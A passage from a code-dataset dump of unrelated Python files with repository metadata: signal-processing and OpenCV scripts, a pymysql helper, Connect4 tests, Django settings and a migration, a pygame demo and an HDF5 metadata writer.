sin1 = sinus(2,25.0,4.0,window,sr)
sin2 = sinus(5,13.0,0.0,window,sr)
sin3 = sinus(10,30.0,-0.5*np.pi,window,sr)
st = comb(comb(sin1,sin2,window),sin3,window) # Combined sinusoid
minK = amdf(st[1],window)
fFrq = sr/minK
print "Bin window for fundamental Frequency: %d\nFundamental Frequency: %.3fHz\n" % (minK,fFrq)
sft = dft(st,window) # Result of my DFT
new = [1j for x in xrange(window)]
magMy = [0.0 for x in xrange(window)] # Magnitude for my result
magPy = [0.0 for x in xrange(window)] # Magnt for Python's result
for i in xrange(window):
new[i] = complex(st[0][i],st[1][i])
pft = np.fft.fft(new,window)
for i in xrange(window):
magMy[i] = np.sqrt(sft[1][i]**2 + sft[0][i]**2)/window
for i in xrange(window):
magPy[i] = np.sqrt(pft[i].imag**2 + pft[i].real**2)/window
#plt.plot(sin1[2],sin1[1])
#plt.plot(sin2[2],sin2[1])
#plt.plot(sin3[2],sin3[1])
plt.plot(np.linspace(0,sr,window),magMy)
plt.plot(np.linspace(0,sr,window),magPy)
plt.show()
| [
"[email protected]"
] | |
5d1263f85594230f832f627f63210f3312c831c1 | 0c2372f39335c5e694f354f21af12a37f93cc0c5 | /mp4cap.py | c5dcda4e5c681dff97f6e31fa5992722b2b0e33b | [] | no_license | junseok42/PNU-academy-Alot | 89e0ba511569af4cb11bebe6f60acf0ccdaff0fb | 4a906fb6e4e5ee84affd7be52aa45c0256e9905f | refs/heads/main | 2023-07-07T17:54:21.535290 | 2021-08-14T07:38:13 | 2021-08-14T07:38:13 | 395,926,807 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 493 | py | import cv2
cap = cv2.VideoCapture("test_video.mp4")#0은 카메라
width = cap.get(3)
height = cap.get(4)
fps = cap.get(5)
print(width,height,fps)
while True:
ret, frame = cap.read()
if cap.get(cv2.CAP_PROP_POS_FRAMES) == cap.get(cv2.CAP_PROP_FRAME_COUNT):
cap.set(cv2.CAP_PROP_POS_FRAMES, 0)
#break
if ret == False:
continue
cv2.imshow("video",frame)
if cv2.waitKey(1)&0xFF == ord('q'):
break
cv2.destroyAllWindows() | [
"[email protected]"
] | |
cf62e3df85fb6cf2897ea48dc5d7f5dc68e30fc1 | b6c10952da3e2cb036f8a1be9594489a7e7957b6 | /sqldb.py | 61616d057ec91dc853b0d1f62aaf05109caeb805 | [] | no_license | sevengram/wechat-util | eed0de8d51a6c8db5d4cd41aa83698fca6e91994 | d482b1e889d2ce52196efe25ea79f7e0b96c8996 | refs/heads/master | 2021-01-17T10:08:15.046977 | 2016-06-27T05:39:48 | 2016-06-27T05:39:48 | 43,784,751 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,781 | py | # -*- coding: utf-8 -*-
import pymysql
from util.dtools import not_empty
class Sqldb(object):
def __init__(self, db_name, db_host, db_user, db_pwd):
self.db_usr = db_user
self.db_pwd = db_pwd
self.db_name = db_name
self.db_host = db_host
self.connect()
def connect(self):
self.connection = pymysql.connect(
user=self.db_usr, passwd=self.db_pwd, host=self.db_host, db=self.db_name, charset='utf8')
def execute(self, query, args, cursorclass=pymysql.cursors.DictCursor, commit=False):
cursor = self.connection.cursor(cursorclass)
result = None
try:
cursor.execute(query, list(args))
if commit:
self.connection.commit()
result = cursor.fetchone()
except (AttributeError, pymysql.OperationalError) as e:
self.connection.close()
self.connect()
cursor = self.connection.cursor(cursorclass)
cursor.execute(query, list(args))
if commit:
self.connection.commit()
result = cursor.fetchone()
finally:
cursor.close()
return result
def fetch_all(self, query, args, cursorclass=pymysql.cursors.DictCursor):
cursor = self.connection.cursor(cursorclass)
result = None
try:
cursor.execute(query, list(args))
result = cursor.fetchall()
except (AttributeError, pymysql.OperationalError):
self.connection.close()
self.connect()
cursor = self.connection.cursor(cursorclass)
cursor.execute(query, list(args))
result = cursor.fetchall()
finally:
cursor.close()
return list(result or '')
def get(self, table, queries, select_key='*'):
queries = queries or {}
queries = {k: v for k, v in queries.items() if not_empty(v)}
where_clause = (' WHERE ' + ' AND '.join(map(lambda n: n + '=%s', queries.keys()))) if queries else ''
request = 'SELECT %s FROM %s %s LIMIT 1' % (select_key, table, where_clause)
records = self.execute(request, queries.values())
if not records:
return None
else:
return records if select_key == '*' else records.get(select_key)
def get_left_join(self, table, joins, queries, select_key='*'):
queries = queries or {}
queries = {k: v for k, v in queries.items() if not_empty(v)}
where_clause = (' WHERE ' + ' AND '.join(map(lambda n: n + '=%s', queries.keys()))) if queries else ''
join_clause = ''.join([' LEFT JOIN %s ON %s.%s = %s.%s ' % (j[1], table, j[0], j[1], j[2]) for j in joins])
request = 'SELECT %s FROM %s %s %s' % (
select_key, table, join_clause, where_clause)
return self.fetch_all(request, queries.values())
def get_page_list(self, table, queries, page_no, page_size, orderby='', select_key='*'):
queries = queries or {}
equal_queries = {k: v for k, v in queries.items() if
not_empty(v) and type(v) is not tuple and type(v) is not list}
open_range_queries = {k: v for k, v in queries.items() if type(v) is tuple and len(v) == 2}
close_range_queries = {k: v for k, v in queries.items() if type(v) is list and len(v) == 2}
conditions = \
list(map(lambda k: k + '=%s', equal_queries.keys())) + \
list(map(lambda k: '%s < ' + k + ' AND ' + k + ' < %s', open_range_queries.keys())) + \
list(map(lambda k: '%s <= ' + k + ' AND ' + k + ' <= %s', close_range_queries.keys()))
where_clause = (' WHERE ' + ' AND '.join(conditions)) if conditions else ''
values = list(equal_queries.values()) + list(open_range_queries.values()) + list(close_range_queries.values())
count_request = 'SELECT count(1) AS total FROM %s %s' % (table, where_clause)
records = self.execute(count_request, values)
total = records['total'] if records else 0
if total:
limit_clause = ' LIMIT %s,%s ' % (
(page_no - 1) * page_size, page_size) if page_no > 0 and page_size > 0 else ''
orderby_clause = ' ORDER BY %s ' % orderby if orderby else ''
request = 'SELECT %s FROM %s %s %s %s' % (
select_key, table, where_clause, orderby_clause, limit_clause)
return total, self.fetch_all(request, values)
else:
return 0, []
def set(self, table, data, noninsert=None):
insert_dict = {k: v for k, v in data.items() if k not in (noninsert or [])}
columns = ', '.join(insert_dict.keys())
insert_holders = ', '.join(['%s'] * len(insert_dict))
request = 'INSERT INTO %s (%s) VALUES (%s)' % (table, columns, insert_holders)
self.execute(request, insert_dict.values(), commit=True)
def update(self, table, data, filters, nonupdate=None):
update_dict = {k: v for k, v in data.items()
if not_empty(v) and k not in (nonupdate or [])}
update_holders = ', '.join(map(lambda n: n + '=%s', update_dict.keys()))
where_dict = {k: v for k, v in filters.items() if not_empty(v)}
if where_dict:
where_holders = ' AND '.join(map(lambda n: n + '=%s', where_dict.keys()))
request = 'UPDATE %s SET %s WHERE %s' % (table, update_holders, where_holders)
self.execute(request, list(update_dict.values()) + list(where_dict.values()), commit=True)
def insert(self, table, data, noninsert=None):
insert_dict = {k: v for k, v in data.items()
if not_empty(v) and k not in (noninsert or [])}
columns = ', '.join(insert_dict.keys())
insert_holders = ', '.join(['%s'] * len(insert_dict))
request = 'INSERT INTO %s (%s) VALUES (%s)' % (
table, columns, insert_holders)
self.execute(request, list(insert_dict.values()), commit=True)
def replace(self, table, data, noninsert=None, nonupdate=None):
insert_dict = {k: v for k, v in data.items()
if not_empty(v) and k not in (noninsert or [])}
columns = ', '.join(insert_dict.keys())
insert_holders = ', '.join(['%s'] * len(insert_dict))
update_dict = {k: v for k, v in insert_dict.items()
if not_empty(v) and k not in (nonupdate or [])}
update_holders = ', '.join(map(lambda n: n + '=%s', update_dict.keys()))
request = 'INSERT INTO %s (%s) VALUES (%s) ON DUPLICATE KEY UPDATE %s' % (
table, columns, insert_holders, update_holders)
self.execute(request, list(insert_dict.values()) + list(update_dict.values()), commit=True)
| [
"[email protected]"
] | |
22fe03c0fc638c74930fa68b42d86d763a348e90 | 9511ae1a91eb197637b338173bbe434b464817c1 | /src/dataclay/util/management/classmgr/AccessedImplementation.py | 462af2fac85322747157d4ceb3407162d15d7625 | [
"BSD-3-Clause"
] | permissive | kpavel/pyclay | f5d656e8ae8e37123cab84a2cd170eb7468903a0 | a6e23728ff4af2ca36c51bc4ec703f6c3acb33f5 | refs/heads/master | 2022-06-14T02:02:06.915037 | 2020-03-17T13:58:30 | 2020-03-17T13:58:30 | 261,738,141 | 0 | 0 | BSD-3-Clause | 2020-05-06T11:28:16 | 2020-05-06T11:28:15 | null | UTF-8 | Python | false | false | 390 | py |
""" Class description goes here. """
from dataclay.util.MgrObject import ManagementObject
class AccessedImplementation(ManagementObject):
_fields = ["id", # sql id, internals
"namespace",
"className",
"opSignature",
"implPosition",
]
_internal_fields = ["implementationID",
]
| [
"[email protected]"
] | |
343a530829e91eb77813b7dd05226224cceae3af | adbc4147107ebae8d187061733dceb88cca7e564 | /test_ai.py | 9dd67a1c1c94a5185eb20f3cc79f5810b39a5666 | [] | no_license | Wojonatior/Connect4MonteCarlo | ee5add40504745fb47fe57dc40969e701203176c | 23288100775769996114cbd4c5e19164a705ba02 | refs/heads/master | 2021-01-12T02:12:43.491159 | 2017-06-19T19:39:54 | 2017-06-19T19:39:54 | 78,487,237 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,221 | py | import pytest, giveMeAMove
base_input = ['../myAI/giveMeAMove.py', '-b', '[[0,0,0,0,0,0,0],[0,0,0,0,0,0,0],[0,0,0,0,0,0,0],[0,0,0,0,0,0,0],[0,0,0,0,0,0,0],[0,0,0,0,0,0,0]]', '-p', 'player-one', '-t', '15000']
def test_makes_a_move():
with pytest.raises(SystemExit):
giveMeAMove.main(base_input)
def test_find_no_winner():
empty_board = [[0,0,0,0,0,0,0]
,[0,0,0,0,0,0,0]
,[0,0,0,0,0,0,0]
,[0,0,0,0,0,0,0]
,[0,0,0,0,0,0,0]
,[0,0,0,0,0,0,0]]
assert giveMeAMove.find_bb_win(empty_board) == 0
def test_find_tie():
tie_board = [[1,1,1,2,1,1,1],
[2,2,2,1,2,2,2],
[1,1,1,2,1,1,1],
[2,2,2,1,2,2,2],
[1,1,1,2,1,1,1],
[2,2,2,1,2,2,2]]
assert giveMeAMove.find_bb_win(tie_board) == -1
def test_find_horizontal_winner():
horizontal_win_board = [[0,0,0,0,0,0,0]
,[0,0,0,0,0,0,0]
,[0,0,0,0,0,0,0]
,[0,0,0,0,0,0,0]
,[0,0,0,2,2,2,0]
,[0,0,0,1,1,1,1]]
assert giveMeAMove.find_bb_win(horizontal_win_board) == 1
def test_find_vertical_winner():
vertical_win_board = [[0,0,0,0,0,0,0],
[0,0,0,0,0,0,0],
[0,0,0,0,0,0,1],
[0,0,0,0,0,2,1],
[0,0,0,0,0,2,1],
[0,0,0,0,0,2,1]]
assert giveMeAMove.find_bb_win(vertical_win_board) == 1
def test_find_right_diag_winner():
r_diag_win_board = [[0,0,0,0,0,0,0]
,[0,0,0,0,0,0,0]
,[0,0,0,1,0,0,0]
,[0,0,1,2,0,0,0]
,[0,1,2,2,0,0,0]
,[1,2,2,2,0,0,0]]
assert giveMeAMove.find_bb_win(r_diag_win_board) == 1
def test_find_left_diag_winner():
l_diag_win_board = [[0,0,0,0,0,0,0]
,[0,0,0,0,0,0,0]
,[0,0,0,1,0,0,0]
,[0,0,0,2,1,0,0]
,[0,0,0,2,2,1,0]
,[0,0,0,2,2,2,1]]
assert giveMeAMove.find_bb_win(l_diag_win_board) == 1
def test_get_legal_plays():
open_board = [[0,0,0,0,0,0,0],
[0,0,0,0,0,0,0],
[0,0,0,0,0,0,0],
[0,0,0,0,0,0,0],
[0,0,0,0,0,0,0],
[0,0,0,0,0,0,0]]
full_board = [[1,2,1,2,1,2,1],
[1,2,1,2,1,2,1],
[1,2,1,2,1,2,1],
[1,2,1,2,1,2,1],
[1,2,1,2,1,2,1],
[1,2,1,2,1,2,1]]
sorta_full_board = [[1,0,0,2,0,2,0],
[1,0,0,2,0,2,0],
[1,0,0,2,0,2,0],
[1,0,0,2,0,2,0],
[1,0,0,2,0,2,0],
[1,0,0,2,0,2,0]]
assert giveMeAMove.find_legal_moves(open_board) == [0,1,2,3,4,5,6]
assert giveMeAMove.find_legal_moves(full_board) == []
assert giveMeAMove.find_legal_moves(sorta_full_board) == [1,2,4,6]
def test_make_move():
sample_board =[[1,0,0,2,0,2,0],
[1,0,0,2,0,2,0],
[1,0,0,2,0,2,0],
[1,0,0,2,0,2,0],
[1,0,0,2,0,2,0],
[1,0,0,2,0,2,0]]
sample_board_after =[[1,0,0,2,0,2,0],
[1,0,0,2,0,2,0],
[1,0,0,2,0,2,0],
[1,0,0,2,0,2,0],
[1,0,0,2,0,2,0],
[1,0,1,2,0,2,0]]
assert giveMeAMove.make_move(sample_board, 2, 1) == sample_board_after
def test_make_invalid_move():
sample_board =[[1,0,0,2,0,2,0],
[1,0,0,2,0,2,0],
[1,0,0,2,0,2,0],
[1,0,0,2,0,2,0],
[1,0,0,2,0,2,0],
[1,0,0,2,0,2,0]]
assert giveMeAMove.make_move(sample_board, 0, 1) == False
def test_why_is_this_not_winning():
sample_board = [[1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1], [1, 2, 2, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1], [2, 1, 2, 2, 1, 1, 1], [2, 1, 2, 2, 1, 1, 2]]
assert giveMeAMove.find_bb_win(sample_board) == 1
| [
"[email protected]"
] | |
d663e41343542b09d92b4c03160b3626aeaa3d1b | 38aa730f59c937ce3e2183413bb0195798ee3370 | /learning_templates/learning_templates/settings.py | e59eb4cac2ebce120926f2ffea3db23d5cc702ee | [] | no_license | surbhivar/Repo-for-Django-Deployement | 0da7fce3cd636ce2cbe5215827fbac57c40d5768 | da74f213f015fe4b53d9232c617a167b92ad82c4 | refs/heads/master | 2022-12-06T17:24:50.844931 | 2020-07-28T13:53:16 | 2020-07-28T13:53:16 | 271,946,558 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,204 | py | """
Django settings for learning_templates project.
Generated by 'django-admin startproject' using Django 3.0.3.
For more information on this file, see
https://docs.djangoproject.com/en/3.0/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.0/ref/settings/
"""
import os
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
TEMPLATE_DIR = os.path.join(BASE_DIR, 'templates')
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/3.0/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'pc86#xu8=#j2+u3aht8oab7f$gn$36hmukk-hj^5pj-wrfu$d_'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = []
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'basic_app',
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'learning_templates.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [TEMPLATE_DIR,],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'learning_templates.wsgi.application'
# Database
# https://docs.djangoproject.com/en/3.0/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}
# Password validation
# https://docs.djangoproject.com/en/3.0/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/3.0/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/3.0/howto/static-files/
STATIC_URL = '/static/'
| [
"[email protected]"
] | |
67817aaf90faa1bed5bf9992b1991adc7df3ef9f | 439a67cb856cf5877e640911dfaedf2e515f0f3e | /events/migrations/0005_connection.py | 9b9c819385eb3addd162eb3df38fe6c878f69b6c | [] | no_license | Msk6/django_event_planner | 04fc052844860ef13c6bbf211209abd853210ffc | 5d615fe4f64e8bef4ba18a656fd7bedab3cbc10b | refs/heads/master | 2022-12-19T09:08:19.626645 | 2020-09-24T07:22:16 | 2020-09-24T07:22:16 | 297,287,874 | 0 | 0 | null | 2020-09-21T09:13:55 | 2020-09-21T09:13:54 | null | UTF-8 | Python | false | false | 879 | py | # Generated by Django 2.2.5 on 2020-09-23 19:34
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('events', '0004_comment'),
]
operations = [
migrations.CreateModel(
name='Connection',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('follower', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='followings', to=settings.AUTH_USER_MODEL)),
('following', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='followers', to=settings.AUTH_USER_MODEL)),
],
),
]
| [
"[email protected]"
] | |
5d669d8879c8ab4a86d1defefaa20365e264f849 | ecf6bf03f4610b27a93cb28e2d140c61ceb1cdee | /src/bb_schema/vignette.py | e147c775992d50ed08562f12ca54abc680379032 | [] | no_license | cBioCenter/bioblocks-server | 6eb0a7d0fe13aecc7ee400fecc96e2025ce4b8b2 | 6436d7fa48edd5cab1e72b93b381da5a24d5b41a | refs/heads/master | 2021-06-08T02:25:05.217731 | 2020-03-04T18:25:19 | 2020-03-04T18:25:19 | 170,573,913 | 0 | 1 | null | 2021-05-06T19:33:00 | 2019-02-13T20:22:20 | Python | UTF-8 | Python | false | false | 1,104 | py | schema = {
'_id': {'type': 'uuid'},
'authors': {
'required': True,
'type': 'list',
'schema': {
'type': 'string',
'maxlength': 32,
'minlength': 1,
}
},
'dataset': {
'required': True,
'type': 'uuid',
'data_relation': {
'embeddable': True,
'field': '_id',
'resource': 'dataset',
}
},
'icon': {
'type': 'media',
},
'link': {
'type': 'string',
'maxlength': 256,
'minlength': 2
},
'name': {
'type': 'string',
'maxlength': 128,
'minlength': 2
},
'summary': {
'type': 'string',
'maxlength': 1024,
'minlength': 2
},
'visualizations': {
'required': True,
'type': 'list',
'schema': {
'data_relation': {
'embeddable': True,
'field': '_id',
'resource': 'visualization',
},
'required': True,
'type': 'uuid',
}
}
}
| [
"[email protected]"
] | |
1f8181ff8b6b0cc9db401baf5e6f748baea49eaf | 974d04d2ea27b1bba1c01015a98112d2afb78fe5 | /test/legacy_test/test_is_tensor.py | aad03fb75a1d28ea22f37a7da67cae983fdf35df | [
"Apache-2.0"
] | permissive | PaddlePaddle/Paddle | b3d2583119082c8e4b74331dacc4d39ed4d7cff0 | 22a11a60e0e3d10a3cf610077a3d9942a6f964cb | refs/heads/develop | 2023-08-17T21:27:30.568889 | 2023-08-17T12:38:22 | 2023-08-17T12:38:22 | 65,711,522 | 20,414 | 5,891 | Apache-2.0 | 2023-09-14T19:20:51 | 2016-08-15T06:59:08 | C++ | UTF-8 | Python | false | false | 1,805 | py | # Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import unittest
import paddle
DELTA = 0.00001
class TestIsTensorApi(unittest.TestCase):
def setUp(self):
paddle.disable_static()
def tearDown(self):
paddle.enable_static()
def test_is_tensor_real(self, dtype="float32"):
"""Test is_tensor api with a real tensor"""
x = paddle.rand([3, 2, 4], dtype=dtype)
self.assertTrue(paddle.is_tensor(x))
def test_is_tensor_list(self, dtype="float32"):
"""Test is_tensor api with a list"""
x = [1, 2, 3]
self.assertFalse(paddle.is_tensor(x))
def test_is_tensor_number(self, dtype="float32"):
"""Test is_tensor api with a number"""
x = 5
self.assertFalse(paddle.is_tensor(x))
class TestIsTensorStatic(unittest.TestCase):
def setUp(self):
paddle.enable_static()
def tearDown(self):
paddle.disable_static()
def test_is_tensor(self):
x = paddle.rand([3, 2, 4], dtype='float32')
self.assertTrue(paddle.is_tensor(x))
def test_is_tensor_array(self):
x = paddle.tensor.create_array('float32')
self.assertTrue(paddle.is_tensor(x))
if __name__ == '__main__':
unittest.main()
| [
"[email protected]"
] | |
bfdcefbcc111a9168ba2ae06649c02f27a7e9e6f | a52e2513233e3eca143eae78f07af1c7e647d599 | /build/lib/pyvislc/select_variable_candidates.py | 41a382bab6544dcdd361cac871931f8b2cf3e815 | [] | no_license | johnh2o2/pyvislc | 1cffa63c09f82cc5f37cf2206589bbac55ac841b | 73d7afb6b694575d480ac4f8d8b289299b0035ae | refs/heads/master | 2020-03-30T09:07:29.097769 | 2015-10-02T15:22:14 | 2015-10-02T15:22:14 | 38,265,416 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,212 | py | import pandas as pd
from math import *
import numpy as np
import matplotlib.pyplot as plt
import os,sys
import readhatlc as rhlc
from utils import *
# Steps:
# 1) select a subset of the full dataset
# 2) calculate outlier-subtracted rms for magnitude bins
# 3) determine which sources have high RMS
# 4) print list of HAT-ID's into a file.
MAG_COL = "TF1"
MAGNITUDE = 'vmag'
NLCS = 1000
OUTLIER_SIGMA = 3
NBINS = 10
rms = {}
magnitudes = {}
print "Loading list of HAT sources..."
sources = pd.read_csv("/Users/jah5/Documents/Fall2014_Gaspar/data/hat-field-219-object-list.csv")
sources = sources.iloc[:-1]
#sources = sources.sort('vmag')
print "Now selecting %d random HAT sources"%(NLCS)
indices = np.arange(0,len(sources))
#np.random.shuffle(indices)
selected_indices = indices[0:NLCS]
hatids = [ hid for hid in sources.iloc[selected_indices]['#hat_id'] ]
for i in selected_indices:
s = sources.iloc[i]
hid = s['#hat_id']
magnitudes[hid] = s[MAGNITUDE]
# FETCH lightcurves from the server
#print "Fetching lightcurves ... "
#fetch_lcs(hatids)
# Calculate stats (rms, frequency fits, etc)
print "Calculating stats..."
dt_stats = np.dtype([('id','S15'),('rms',np.float_)])
rmsfile = "stats_rms.dat"
if os.path.exists(rmsfile):
print "Found stats_rms.dat, reading in data"
f = open(rmsfile,'r')
sdata = np.loadtxt(rmsfile,dtype=dt_stats)
for i,hid in enumerate(sdata['id']):
if hid not in hatids: continue
rms[hid] = sdata[i]['rms']
f.close()
else: sdata = None
def bin(mag, rm, nbins=NBINS, remove_outliers=True, outlier_dist=OUTLIER_SIGMA):
sources = np.zeros(len(rm), dtype=np.dtype([('mag', np.float_), ('rms', np.float_)]))
for i in range(0,len(mag)):
sources[i]['mag'] = mag[i]
sources[i]['rms'] = rm[i]
bin_edges = []
means = []
stddev = []
sources = np.sort(sources,order='mag')
eps = 10E-5
i=0
j=None
bin_edges.append(sources[0]['mag'] - eps)
while i < len(sources) - 1:
j = min([i + len(sources)/nbins, len(sources) - 1])
bin_edges.append(sources[j]['mag'] + eps)
bin_sources = sources[i:j+1]
outliers = None
while outliers != 0:
print "bin %d, nsrc = %d"%( i, len(bin_sources))
RMS = [ b['rms'] for b in bin_sources ]
mu = np.mean(RMS )
err = sqrt(np.mean(np.power(RMS - mu,2)))
bs_new = []
outliers = 0
for b in bin_sources:
if abs(b['rms'] - mu)/err < outlier_dist: bs_new.append(b)
else: outliers += 1
bin_sources = bs_new
means.append(mu)
stddev.append(err)
i+=j
return bin_edges, means, stddev
def is_outlier(mag, rm, bin_edges, avgs, stdevs):
for i in range(0, len(bin_edges) - 1):
if mag > bin_edges[i] and mag < bin_edges[i+1]:
if abs(rm - avgs[i])/stdevs[i] > OUTLIER_SIGMA: return True
else: return False
for ID in hatids:
# If you already have the RMS value, skip
if not sdata is None:
if ID in sdata['id']: continue
print "Analyzing %s"%(ID)
# Try to read lightcurve
fname = "%s/%s-hatlc.csv.gz"%(data_dir,ID)
try:
lc = rhlc.read_hatlc(fname)
except:
print "Can't read ",ID
continue
mags = np.array([ m for m in lc[MAG_COL] if not isnan(m) ])
if len(mags) < 2:
print "No data in ",ID
rms[ID] = -1.0
continue
else:
mu = np.mean(mags)
rms[ID] = sqrt(np.mean(np.power(mags - mu,2)))
f = open(rmsfile,'w')
for ID in hatids:
f.write("%s %e\n"%(ID,rms[ID]))
f.close()
mags_cleaned = []
rms_cleaned = []
hatids_cleaned = []
for ID in hatids:
if rms[ID] > 0:
hatids_cleaned.append(ID)
mags_cleaned.append(magnitudes[ID])
rms_cleaned.append(rms[ID])
bin_edges, means, stdev = bin(mags_cleaned, rms_cleaned)
candidates = []
for ID in hatids_cleaned:
if is_outlier(magnitudes[ID], rms[ID], bin_edges, means, stdev): candidates.append(ID)
print "%d candidates"%(len(candidates))
f = open("candidates.dat",'w')
for ID in candidates:
f.write("%s\n"%(ID))
f.close()
| [
"[email protected]"
] | |
58d8db7022196f8f598af508ee606d169904b554 | f5055b8d69238c4eff75395c7549897b9117b52e | /2_SimpleRectangle.py | 412fa0de80a2e04c8c905dbede6dcc85b207ce4c | [] | no_license | JushBJJ/Pygame-Examples | 83be5118cd27827f758b3c32397c81a3f0b9672f | d2e70a820b6e7388657912912d16c917d8ef020a | refs/heads/master | 2023-02-05T21:11:16.344146 | 2021-01-02T23:59:18 | 2021-01-02T23:59:18 | 322,153,201 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,710 | py | """Simple Pygame Template with Rectangles."""
import pygame
# Objects
class Sprite(pygame.sprite.Sprite):
"""Sprites Folder."""
Sprites = pygame.sprite.Group()
def __init__(self, x, y, width, height, color, name):
"""Creation of Sprite."""
pygame.sprite.Sprite.__init__(self)
Sprite.Sprites.add(self)
self.image = pygame.surface.Surface((width, height))
self.image.fill(color)
self.rect = self.image.get_rect()
self.rect.x = x
self.rect.y = y
self.rect.width = width
self.rect.height = height
self.name = name
class Rect(Sprite):
"""Simple Rectangle Base Class."""
instances = pygame.sprite.Group()
def __init__(self, x, y, width, height, color, name):
"""Creation of Rectangle."""
pygame.sprite.Sprite.__init__(self)
Sprite.__init__(self, x, y, width, height, color, name)
# There can be multiple instances of the same class
Rect.instances.add(self)
def update(self):
"""Update Function."""
print(f"Updated {self.name}")
# Initialisation
pygame.init()
screen = pygame.display.set_mode((800, 600), vsync=True)
clock = pygame.time.Clock()
# Creating Objects
rect1 = Rect(100, 100, 100, 100, (0, 255, 0), "Rect1")
rect2 = Rect(200, 400, 100, 100, (255, 0, 0), "Rect2")
# Game Loop
Running = True
while Running:
for event in pygame.event.get():
if event.type == pygame.QUIT:
Running = False
# Update all Sprites
Sprite.Sprites.update()
# Draw all Sprites
Sprite.Sprites.draw(screen)
# Update Screen
pygame.display.flip()
clock.tick(60) # 60 FPS
# Quit
pygame.quit()
| [
"[email protected]"
] | |
e85c99cb5dd38ca3fe8dae13a0bfca57bb331d21 | e4a30c9f491fe7d118f817cf57cf541c845fabe4 | /app/lpd/gui/metadata_writer.py | e0ad2ea0e08c36b791630b82976d72db6ee8b5cc | [
"Apache-2.0"
] | permissive | stfc-aeg/lpd-detector | 900c4c4042048db3c851bf53411d8a9bff1759da | 7bc0d9700a3d3992a4541f05e1434aba0d056dcc | refs/heads/master | 2022-07-06T15:31:15.633558 | 2020-05-18T13:10:39 | 2020-05-18T13:10:39 | 171,300,938 | 0 | 0 | Apache-2.0 | 2022-06-22T01:51:55 | 2019-02-18T14:41:01 | Python | UTF-8 | Python | false | false | 1,675 | py | '''
Created on 16 Oct 2018
@author: xfu59478
'''
import h5py
from datetime import datetime
class MetadataWriter(object):
''' This class writes metadata to open HDF files
'''
def __init__(self, cached_params):
self.cached_params = cached_params
def write_metadata(self, metadata_group):
print("Adding metadata to file")
# Build metadata attributes from cached parameters
for param, val in self.cached_params.items():
metadata_group.attrs[param] = val
# Add additional attribute to record current date
metadata_group.attrs['runDate'] = datetime.now().strftime('%d-%m-%Y %H:%M:%S')
# Write the XML configuration files into the metadata group
self.xml_ds = {}
str_type = h5py.special_dtype(vlen=str)
for param_file in ('readoutParamFile', 'cmdSequenceFile', 'setupParamFile'):
self.xml_ds[param_file] = metadata_group.create_dataset(param_file, shape=(1,),
dtype=str_type)
try:
with open(self.cached_params[param_file], 'r') as xml_file:
self.xml_ds[param_file][:] = xml_file.read()
except IOError as e:
print("Failed to read %s XML file %s : %s " (param_file,
self.cached_params[param_file], e))
raise(e)
except Exception as e:
print("Got exception trying to create metadata for %s XML file %s : %s " %
(param_file, self.cached_params[param_file], e))
raise(e)
| [
"[email protected]"
] | |
